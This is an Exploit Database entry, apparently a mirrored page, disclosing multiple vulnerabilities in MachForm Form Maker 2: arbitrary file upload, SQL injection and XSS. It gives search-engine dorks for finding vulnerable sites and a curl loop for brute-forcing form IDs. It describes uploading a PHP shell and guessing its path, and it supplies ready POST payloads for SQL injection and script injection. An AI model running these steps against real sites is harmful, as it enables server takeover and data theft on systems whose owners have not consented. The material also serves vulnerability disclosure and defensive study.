Machform Form Maker 2 – Multiple Vulnerabilities

• Exploit Database
• 16 阅读

• 作者： Yashar shahinzadeh
  日期： 2013-07-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/26553/

• ###########################################################################################
  # Exploit Title: Machform form maker - Multiple Vulnerabilities
  # Date: 2013 17 June
  # Exploit Author: Yashar shahinzadeh
  # Credit goes for: ha.cker.ir
  # Vendor Homepage: http://www.appnitro.com
  # Tested on: Linux & Windows, PHP 5.2.9
  # Affected Version : 2
  # Special thanks to: Mormoroth
  # Dork1: "Powered by MachForm" id=
  # Dork2: formularios/view.php?id=
  # Dork3: inurl:machform/view.php?id=
  #
  # Demonstration clip: http://y-shahinzadeh.ir/tutorial/machform.rar
  # Contacts: { http://Twitter.com/YShahinzadeh , http://Twitter.com/Mormoroth }
  ###########################################################################################
  
  Summary:
  ========
  1. Arbitrary file upload
  2. MySQL Injection (Error based) and XSS
   
  
  1. Arbitrary file upload:
  =========================
  
  ...
  ...
  if(!empty($uploaded_files)){
  	foreach ($uploaded_files as $element_name){
  		if(empty($form_review)){
  			//move file and check for invalid file
  			$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}";
  			if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
  				$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
  				$query = "update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
  				do_query($query);
  			}
  		}else{
  			//for form with review enabled, append .tmp suffix to all uploaded files
  			//move file and check for invalid file
  			$destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp";
  			if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) {
  				$filename = mysql_real_escape_string($_FILES[$element_name]['name']);
  				$query = "update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'";
  				do_query($query);
  			}
  			
  			if(!empty($uploaded_file_lookup[$element_name])){
  				unset($uploaded_file_lookup[$element_name]);
  			}
  		}
  	}
  }
  ...
  ...
  
  Exploit:
  
  In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability:
  
  $input_array = ap_sanitize_input($_POST);
  $submit_result = process_form($input_array);
  
  These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly:
  
  seq 1 500 | xargs -I XX -P32 curl -s http://target/view.php=XX -o XX.out
  grep “type=\”file\”" *.out
  
  Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept:
  
  http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg
  
  All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path:
  
  http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php
  
  In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said:
  
  http://y-shahinzadeh.ir/tutorial/machform.rar
  
  2. MySQL Injection (Error based) and XSS:
  =========================================
  ...
  ...
  $input_array = ap_sanitize_input($_POST);
  ...
  ...
  
  
  Exploit (POST to view.php after finding HTML elements): 
  
  element_1=1&element_2=’&element_3=1&form_id=11&submit=1
  element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar